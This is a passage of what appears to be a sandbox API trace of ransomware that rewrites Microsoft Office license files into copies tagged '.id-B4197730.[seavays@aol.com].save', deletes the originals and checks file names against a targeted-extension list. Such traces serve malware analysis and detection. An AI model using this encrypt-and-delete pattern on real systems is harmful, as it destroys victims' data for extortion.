1 [0190.927] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0190.927] WriteFile (in: hFile=0x56c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x118, lpOverlapped=0x0) returned 1 [0190.927] SetEndOfFile (hFile=0x56c) returned 1 [0190.928] CloseHandle (hObject=0x56c) returned 1 [0190.929] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.929] SetEndOfFile (hFile=0x444) returned 1 [0190.933] CloseHandle (hObject=0x444) returned 1 [0190.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0190.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_trial2-ul-oob.xrm-ms")) returned 1 [0190.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0190.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0190.935] lstrlenW (lpString=".doc") returned 4 [0190.935] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.935] lstrlenW (lpString=".docx") returned 5 [0190.935] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.935] lstrlenW (lpString=".pdf") returned 4 [0190.935] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.935] lstrlenW (lpString=".xls") returned 4 [0190.935] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.936] lstrlenW (lpString=".xlsx") returned 5 [0190.936] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.936] lstrlenW (lpString=".ppt") returned 4 [0190.936] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0190.936] lstrlenW (lpString=".zip") returned 4 [0190.936] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.936] lstrlenW (lpString=".rar") returned 4 [0190.936] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.936] lstrlenW (lpString=".bz2") returned 4 [0190.936] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.936] lstrlenW (lpString=".7z") returned 3 [0190.936] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0190.936] lstrlenW (lpString=".dbf") returned 4 [0190.936] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0190.936] lstrlenW (lpString=".1cd") returned 4 [0190.936] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Trial2-ul-oob.xrm-ms") returned 84 [0190.936] lstrlenW (lpString=".jpg") returned 4 [0190.936] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.939] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=21606) returned 1 [0190.939] CloseHandle (hObject=0x444) returned 1 [0190.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms")) returned 0x220 [0190.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0190.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0190.941] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.941] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0190.942] GetLastError () returned 0x0 [0190.942] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x5466, lpOverlapped=0x0) returned 1 [0190.945] WriteFile (in: hFile=0x56c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x5470, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x5470, lpOverlapped=0x0) returned 1 [0190.947] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0190.947] WriteFile (in: hFile=0x56c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x114, lpOverlapped=0x0) returned 1 [0190.947] SetEndOfFile (hFile=0x56c) returned 1 [0190.949] CloseHandle (hObject=0x56c) returned 1 [0190.949] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.949] SetEndOfFile (hFile=0x444) returned 1 [0190.953] CloseHandle (hObject=0x444) returned 1 [0190.954] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0190.955] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ppd.xrm-ms")) returned 1 [0190.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0190.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0190.956] lstrlenW (lpString=".doc") returned 4 [0190.956] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0190.956] lstrlenW (lpString=".docx") returned 5 [0190.956] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0190.956] lstrlenW (lpString=".pdf") returned 4 [0190.956] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0190.956] lstrlenW (lpString=".xls") returned 4 [0190.956] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0190.956] lstrlenW (lpString=".xlsx") returned 5 [0190.956] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0190.956] lstrlenW (lpString=".ppt") returned 4 [0190.956] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0190.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0190.957] lstrlenW (lpString=".zip") returned 4 [0190.957] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0190.957] lstrlenW (lpString=".rar") returned 4 [0190.957] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0190.957] lstrlenW (lpString=".bz2") returned 4 [0190.957] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0190.957] lstrlenW (lpString=".7z") returned 3 [0190.957] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0190.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0190.957] lstrlenW (lpString=".dbf") returned 4 [0190.957] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0190.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0190.957] lstrlenW (lpString=".1cd") returned 4 [0190.957] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0190.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ppd.xrm-ms") returned 82 [0190.957] lstrlenW (lpString=".jpg") returned 4 [0190.957] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0190.959] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=11612) returned 1 [0190.959] CloseHandle (hObject=0x444) returned 1 [0190.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms")) returned 0x220 [0190.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0190.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0190.961] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.961] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0190.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0190.962] GetLastError () returned 0x0 [0190.962] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2d5c, lpOverlapped=0x0) returned 1 [0191.133] WriteFile (in: hFile=0x56c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0191.134] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0191.135] WriteFile (in: hFile=0x56c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x11a, lpOverlapped=0x0) returned 1 [0191.135] SetEndOfFile (hFile=0x56c) returned 1 [0191.135] CloseHandle (hObject=0x56c) returned 1 [0191.135] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.135] SetEndOfFile (hFile=0x444) returned 1 [0191.141] CloseHandle (hObject=0x444) returned 1 [0191.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_oem_perp-ul-oob.xrm-ms")) returned 1 [0191.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0191.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0191.144] lstrlenW (lpString=".doc") returned 4 [0191.144] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0191.144] lstrlenW (lpString=".docx") returned 5 [0191.144] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0191.144] lstrlenW (lpString=".pdf") returned 4 [0191.144] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0191.144] lstrlenW (lpString=".xls") returned 4 [0191.144] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0191.144] lstrlenW (lpString=".xlsx") returned 5 [0191.144] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0191.144] lstrlenW (lpString=".ppt") returned 4 [0191.144] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0191.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0191.144] lstrlenW (lpString=".zip") returned 4 [0191.144] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0191.144] lstrlenW (lpString=".rar") returned 4 [0191.144] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0191.144] lstrlenW (lpString=".bz2") returned 4 [0191.145] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0191.145] lstrlenW (lpString=".7z") returned 3 [0191.145] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0191.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0191.145] lstrlenW (lpString=".dbf") returned 4 [0191.145] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0191.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0191.145] lstrlenW (lpString=".1cd") returned 4 [0191.145] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0191.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_OEM_Perp-ul-oob.xrm-ms") returned 85 [0191.145] lstrlenW (lpString=".jpg") returned 4 [0191.145] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0191.146] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=21604) returned 1 [0191.146] CloseHandle (hObject=0x444) returned 1 [0191.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms")) returned 0x220 [0191.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0191.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0191.148] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.148] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0191.168] GetLastError () returned 0x0 [0191.169] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x5464, lpOverlapped=0x0) returned 1 [0191.173] WriteFile (in: hFile=0x56c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x5470, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x5470, lpOverlapped=0x0) returned 1 [0191.175] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0191.175] WriteFile (in: hFile=0x56c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x110, lpOverlapped=0x0) returned 1 [0191.175] SetEndOfFile (hFile=0x56c) returned 1 [0191.175] CloseHandle (hObject=0x56c) returned 1 [0191.175] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.175] SetEndOfFile (hFile=0x444) returned 1 [0191.181] CloseHandle (hObject=0x444) returned 1 [0191.181] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.182] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ppd.xrm-ms")) returned 1 [0191.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0191.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0191.183] lstrlenW (lpString=".doc") returned 4 [0191.183] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0191.183] lstrlenW (lpString=".docx") returned 5 [0191.183] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0191.183] lstrlenW (lpString=".pdf") returned 4 [0191.183] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0191.183] lstrlenW (lpString=".xls") returned 4 [0191.184] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0191.184] lstrlenW (lpString=".xlsx") returned 5 [0191.184] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0191.184] lstrlenW (lpString=".ppt") returned 4 [0191.184] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0191.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0191.184] lstrlenW (lpString=".zip") returned 4 [0191.184] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0191.184] lstrlenW (lpString=".rar") returned 4 [0191.184] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0191.184] lstrlenW (lpString=".bz2") returned 4 [0191.184] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0191.184] lstrlenW (lpString=".7z") returned 3 [0191.184] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0191.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0191.184] lstrlenW (lpString=".dbf") returned 4 [0191.184] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0191.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0191.184] lstrlenW (lpString=".1cd") returned 4 [0191.184] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0191.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ppd.xrm-ms") returned 80 [0191.184] lstrlenW (lpString=".jpg") returned 4 [0191.184] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0191.185] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=11604) returned 1 [0191.185] CloseHandle (hObject=0x444) returned 1 [0191.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms")) returned 0x220 [0191.186] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0191.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444 [0191.187] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.187] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x56c [0191.189] GetLastError () returned 0x0 [0191.189] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2d54, lpOverlapped=0x0) returned 1 [0191.354] WriteFile (in: hFile=0x56c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0191.355] ReadFile (in: hFile=0x444, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0191.355] WriteFile (in: hFile=0x56c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x116, lpOverlapped=0x0) returned 1 [0191.355] SetEndOfFile (hFile=0x56c) returned 1 [0191.355] CloseHandle (hObject=0x56c) returned 1 [0191.356] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0191.356] SetEndOfFile (hFile=0x444) returned 1 [0191.360] CloseHandle (hObject=0x444) returned 1 [0191.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0191.749] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homestudentr_retail-ul-oob.xrm-ms")) returned 1 [0192.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0192.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeStudentR_Retail-ul-oob.xrm-ms") returned 83 [0192.169] lstrlenW (lpString=".doc") returned 4 [0192.169] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0192.169] lstrlenW (lpString=".docx") returned 5 [0192.169] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0192.169] 